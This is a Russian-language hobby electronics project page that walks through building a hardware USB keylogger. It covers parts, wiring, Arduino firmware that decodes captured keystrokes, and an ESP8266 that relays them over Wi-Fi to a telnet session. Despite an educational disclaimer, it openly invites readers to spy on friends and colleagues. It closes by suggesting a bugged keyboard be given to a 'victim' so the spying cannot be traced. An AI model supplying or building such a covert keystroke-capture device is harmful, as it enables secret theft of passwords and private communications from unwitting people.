====== Клавиатурный шпион на ESP8266 ======
{{ :projects:keylogger:keylogger_overview.jpg?nolink&700 |}}
* Платформы: Iskra Mini, ESP8266
* Языки программирования: Arduino (C++)
* Тэги: Iskra Mini, ESP8266, USB Keylogger, перехват нажатий клавиш, USB клавиатура.
===== Что это? =====
Хотелось ли вам когда нибудь пошпионить за вашим другом, соседом или коллегой по работе? Узнать что он или она так внимательно печатает и почему из за этого радуется или наоборот нервничает. Теперь это возможно с помощью клавиатурного шпиона.
Суть его довольна проста: он перехватывает данные с USB-клавиатуры и раздаёт их по Wi-Fi. Всё что надо сделать это подключить его между клавиатурой и компьютером. А потом зайти на созданный сервер и шпионить.
Статья носит образовательный характер и демонстрирует
возможность беспроводной передачи данных с использованием Wi-Fi модуля.
Описанное в качестве примера устройство не производится и не
продается компанией Амперка.
Вы не можете использовать подобное устройство для негласного сбора данных в соответствии со статьёй 138 УК РФ.
===== Что нам понадобится? =====
{{ :projects:keylogger:keylogger_parts.jpg?nolink&700 |}}
- [[amp>product/iskra-mini?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Iskra Mini (с ногами)]]
- [[amp>product/esp8266-wifi-module?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | ESP8266]]
- [[amp>product/usb-serial-converter?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | USB-Serial адаптер]] для прошивки платы Iskra Mini и ESP8266
- [[amp>product/terminal-block?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Клеммник нажимной]] 2 шт.
- [[amp>product/voltage-regulator-lm317?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Настраиваемый регулятор напряжения LM317]]
- [[amp>product/potentiometer?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Переменный резистор (потенциометр)]]
- [[amp>product/capacitor-ceramic-100n?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Конденсаторы керамические 100 нФ]] 1 шт.
- [[amp>product/capacitor-electrolytic-10u?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Конденсаторы электролитические 10 мкФ]] 1 шт.
- [[amp>product/resistor?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Резисторы]] 220 Ом 1 шт., 1 кОм 1 шт., 10 кОм 3 шт.
- [[amp>product/breadboard-half?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Breadboard Half]] для прототипирования устройства
- [[amp>product/proto-perfboard?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Макетная плата Perfboard (460 точек)]] для сборки прототипа в готовое устройство
- [[amp>product/wire-mm?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Соединительные провода «папа-папа»]]
- [[amp>product/wire-fm?utm_source=proj&utm_campaign=keylogger&utm_medium=wiki | Соединительные провода «мама-папа»]]
- [[amp>product/usb-cable-mini?utm_source=keylogger&utm_campaign=iskra-mini&utm_medium=wiki|Кабель USB (A — Mini USB)]]
- Удлинитель USB «мама-папа»
===== Настройка и прошивка платы ESP8266 =====
ESP8266 — это непросто WI-FI шилд, это высоко интегрированный микроконтроллер со своим набором интерфейсов.
С базовой прошивкой плата ESP8266 используется в виде моста UART <-> WIFI и управляется с помощью AT-команд. В нашем проекте такая прошивка не имеет смысла, так как модуль сам независимо может работать без дополнительных микроконтроллеров, если в него загрузить другую прошивку. Прошить модуль можно с помощью USB-Serial адаптера. Подробное описание, как это сделать, мы оформили в [[продукты:esp8266-wifi-module|отдельную статью]].
==== Загрузка скетча ====
Модуль ESP8266 будет создавать TCP-сервер и передавать на него данные о нажатых клавишах клавиатуры, полученные через Serial соединение с платой Iskra Mini. Реализацию такого моста вы можете найти среди стандартных примеров из библиотеки ESP8266.
Для этого зайдите в меню:
//Файл//
//Образцы//
//ESP8266WIFI//
//WiFiTelnetToSerial//
и загрузите в плату ESP8266 открывшийся скетч, предварительно указав вместо звёздочек имя и пароль Wi-Fi сети, к которой необходимо подключиться нашей ESP-шке.
const char* ssid = "**********";
const char* password = "**********";
При прошивке на плате ESP8266 будет мигать синий светодиод.{{ :projects:keylogger:keylogger_arduinoide5.png?nolink&700 |}}
Плата прошита теперь можно приступать к сборке устройства.
===== Как собрать? =====
- Используя [[продукты:iskra-mini|руководство]] по плате Iskra Mini прошейте её [[#исходный_код|скетчем]] приведённым ниже.
- Прошейте плату ESP8266 используя инструкцию написанную выше.
- Установите плату Iskra Mini на Breadboard.
- Линии питания и земли платформы Iskra Mini соедините с помощью проводов «папа-папа» с верхними рельсами питания и земли макетной платы, по ним будет идти напряжение 5 вольт. Соедините верхнюю и нижнюю рельсу земли макетной платы проводом «папа-папа».{{ :projects:keylogger:keylogger_build1.jpg?nolink&700 |}}
- Так как плата ESP8266 работает строго от 3,3 вольт, соберём регулятор напряжения на основе микросхемы LM317 и подключим его выход ''Vout'' к нижним рельсам питания и земли макетной платы. Для этого соберите схему приведенную ниже, где:
* ''LM317'' регулятор напряжения;
* ''C1'' керамический конденсатор 100 нФ;
* ''С2'' электролитический конденсатор 10 мкФ;
* ''R1'' резистор 220 Ом;
* ''R2'' потенциометр 10 кОм;
* ''Vin'' входное напряжение 5 вольт;
* ''Vout'' выходное регулируемое напряжение.{{ :projects:keylogger:keylogger_lm317_scheme.png?nolink& |}}{{ :projects:keylogger:keylogger_build2.jpg?nolink&700 |}}
- Подключите напряжение 5 вольт к верхним рельсам питания и земли. С помощью мультиметра и потенциометра отрегулируйте выходное напряжения на 3,3 вольта.{{ :projects:keylogger:keylogger_build3.jpg?nolink&700 |}}
- Возьмите плату ESP8266 и с помощью проводов «мама-папа» соедините пины ''VCC'' и ''GND'' с нижними рельсами питания 3,3 В и земли макетной платы.{{ :projects:keylogger:keylogger_build4.jpg?nolink&700 |}}
- Управляющий пины ''TX'' и ''RX'' платформы Iskra Mini соедините с пинами ''RX'' и ''TX'' платы ESP8266, причём пин ''TX'' платформы Iskra Mini соедините с платой ESP8266 через резисторный делитель напряжения, чтобы своим высоким сигналом не спалить ESP8266.{{ :projects:keylogger:keylogger_build5.jpg?nolink&700 |}}
- С помощью проводов «мама-папа» подтяните пины ''CH_PD'', ''RST'' и ''GPIO'' платы ESP8266 к питанию ''+3.3 В'' через резисторы 10 кОм.{{ :projects:keylogger:keylogger_build6.jpg?nolink&700 |}}
- Возьмите USB удлинитель «мама-папа» и разрежьте его пополам. Далее зачистите с обеих сторон все его контакты и соедините их с макетной платой через 2 заранее установленных клеммника.{{ :projects:keylogger:keylogger_build7.jpg?nolink&700 |}}
- Воспользовавшись цветовой маркировкой USB соедините контакты USB удлинителя через клеммник следующим образом:
* красный провод ''+5V'' — питание верхней рельсы макетной платы;
* чёрный провод ''GND'' — земля макетной платы;
* жёлтый провод ''D+'' — к цифровому пину ''2'' платы Iskra Mini;
* белый провод ''D−'' — к цифровому пину ''4'' платы Iskra Mini;{{ :projects:keylogger:keylogger_build8.jpg?nolink&700 |}}В итоге получилась схема, приведенная ниже.{{ :projects:keylogger:keylogger_scheme.png?nolink& |}}
- Перенесём готовое устройство на Perfboard для устойчивости и компактности.{{ :projects:keylogger:keylogger_build9.jpg?nolink&700 |}}
- В заключении установим кейлогер в удобный и компактный корпус.{{ :projects:keylogger:keylogger_build10.jpg?nolink&700 |}}
===== Алгоритм =====
* Сразу после подачи питания настраиваем пин платы Iskra Mini, к которому подключен сигнал ''D+'', на прерывание по восходящему фронту.
* Как только прерывание сработает, запишем все входящие данные в массив.
* Среди пришедших данных вычленяем 2 скан-кода — байта:
* первый несёт информацию о нажатии модификационных клавиш, в нашем случае нас интересует ''Shift'';
* второй несёт информацию о значении нажатой клавиши.
* Декодируем скан-код нажатой клавиши в соответствии с таблицей скан-кодов в зависимости от того нажата ли была клавиша ''Shift''.
* Выводим нажатую клавишу в Serial-порт.
* Плата ESP8266 считывает все пришедшие данные со своего Serial-порта и выводит их в заранее созданный TCP-сервер.
===== Исходный код =====
#include
#include
#include
#include
// библиотека для работы с протоколом USB
#include
// библиотека для работы с Serial-портом
#include
// PID 8 бит идентификатор
// ADDR 7 бит адрес устройства
// Endpoint 4 бита номер конечной точки
// CRC 5 бит контрольная сумма
// итого 3 байта
#define IN_SIZE 3
// PID 8 бит идентификатор
// DATA 64 бита данные
// CRC 16 бит контрольная сумма
// итого 11 байт
#define USB_BUFSIZE 11
// количество принятых пакетов хранимых в памяти
// должно быть четным и соблюдаться условие
// (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255
#define FIFO_BUF_SIZE 10
// RX буфер: 3 байта запроса IN + 11 байт данных DATAx
unsigned char usbRxBuf[USB_BUFSIZE];
unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE];
// номер текущей записываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurWritePos = 0;
// номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurReadPos = 0;
// массив символов для декодирования скан-кодов при не нажатой клавиши Shift
unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./";
// массив символов для декодирования скан-кодов при зажатой клавиши Shift
unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?";
void setup()
{
// открываем последовательный порт
Serial.begin(115200);
// настраиваем прерывание
usbInit();
// печатаем о готовности устройства
Serial.print("UART init complet");
// разрешаем прерывания
sei();
}
void loop()
{
// если сработало прерывание
// то переменная CurWritePos изменит своё значение
if (CurWritePos != CurReadPos) {
// вызываем функцию printResult
printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE);
CurReadPos++;
if (CurReadPos >= FIFO_BUF_SIZE) {
CurReadPos = 0;
}
}
}
void printResult(uchar *datakey, uchar len)
{
bool shift = 0;
// если во время очередного нажатия на клавишу
// была нажата кнопка Shift
if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20))
shift = 1;
else
shift = 0;
// если 4 или 3 байт из массива данных пришёл не нулевой
// значит нажата одна из клавиш
if (*(datakey + 4) != 0) {
// вызываем функцию печати 2-го символа
printKey(*(datakey + 4), shift);
} else if (*(datakey + 3) != 0) {
// вызываем функцию печати 1-го символа
printKey(*(datakey + 3), shift);
}
}
void printKey(uchar key, bool shift)
{
// если нажата одна из клавиш английского алфавита
if (key >= 0x4 && key <= 0x27) {
// если нажат Shift декодируем скан-коды как заглавные буквы
if (shift == 1) {
Serial.write(masskeyShift[key-4]);
} else {
// если нет декодируем скан-коды как строчные буквы
Serial.write(masskey[key-4]);
}
} else if (key == 0x28) {
// если пришел скан-код клавиши Enter
Serial.print("\r\n");
} else if (key == 0x2B) {
// если пришел скан-код клавиши Tab
Serial.print("\t");
} else if (key == 0x2C) {
// если пришел скан-код клавиши Space
Serial.print(" ");
} else if (key >= 0x2d && key <= 0x38) {
// если пришел сканд-код из знаков пунктуации
if (shift == 1)
Serial.write(masskeyShift[key - 9]);
else
Serial.write(masskey[key - 9]);
} else {
// если пришёл скан-код которого мы не знаем
// печатаем его без декодирования
printHex(key);
}
}
Так как данные передается на очень высокой скорости, то для его захвата и анализа используются ассемблерные вставки, которые подключаются с помощью библиотеки {{:projects:keylogger:usbdrv.zip|V-USB}}, которая в своем составе содержит функции приема и обработки USB сигнала.
===== Подключения к шпиону =====
Данные захваченные с USB-шины и отправленные на TCP-сервер можно посмотреть любой терминальной программой поддерживающей сетевой протокол TELNET.
* [[http://www.putty.org/|PuTTY]] для Windows и Linux.
* [[https://play.google.com/store/apps/details?id=koushikdutta.telnet|Telnet]] для Android OS.
==== Поиск IP-адреса ====
Для подключения к модулю ESP8266 необходимо знать IP-адрес платы в локальной сети.
- Скачайте и установите на компьютер утилиту [[https://www.advanced-ip-scanner.com/ru/|Advanced IP Scanner]] для сканирования всех устройств в локальной сети.
- Запустите программу Advanced IP Scanner.
- Настройте диапазон поиска адресов для вашей сети и нажмите кнопку «Сканировать»
- В списке найдите устройство от «Espressif Inc.»: в данном случае плата получает IP-адрес ''192.168.88.171'', запоминаем его.
{{ :projects:keylogger:find_ip.png?nolink |}}
При динамической адресации (DHCP) маршрутизатор может менять IP-адрес при каждом включении платы. В таком случае вам каждый раз придётся повторять поиск IP-адреса.
==== Подключение к серверу ====
- Запустите [[http://www.putty.org/|PuTTY]].
- В поле ''IP address'' введите полученный ранее IP нашего шпиона, а в окне ''Port'' впишите ''23''.
- В окне ''Connection type'' выберите чекбокс ''Telnet''.{{ :projects:keylogger:conect.png?nolink |}}
- Смело жмите кнопку ''Open''.
===== Демонстрация работы устройства =====
{{youtube>jn_5yY5iOAU?large}}
===== Что дальше? =====
В нашем проекте устройство вынесено наружу. Если хотите получить полный шпионаж, подарите своей будущей жертве клавиатуру с уже встроенным устройством и тогда уже никто не сможет вас вычислить.
В обработки пришедших байтов мы считываем только одну нажатую в данный момент клавишу. Это можно исправить добавив некоторые изменения в скетч и вычислять до 5 нажатых одновременно клавиш.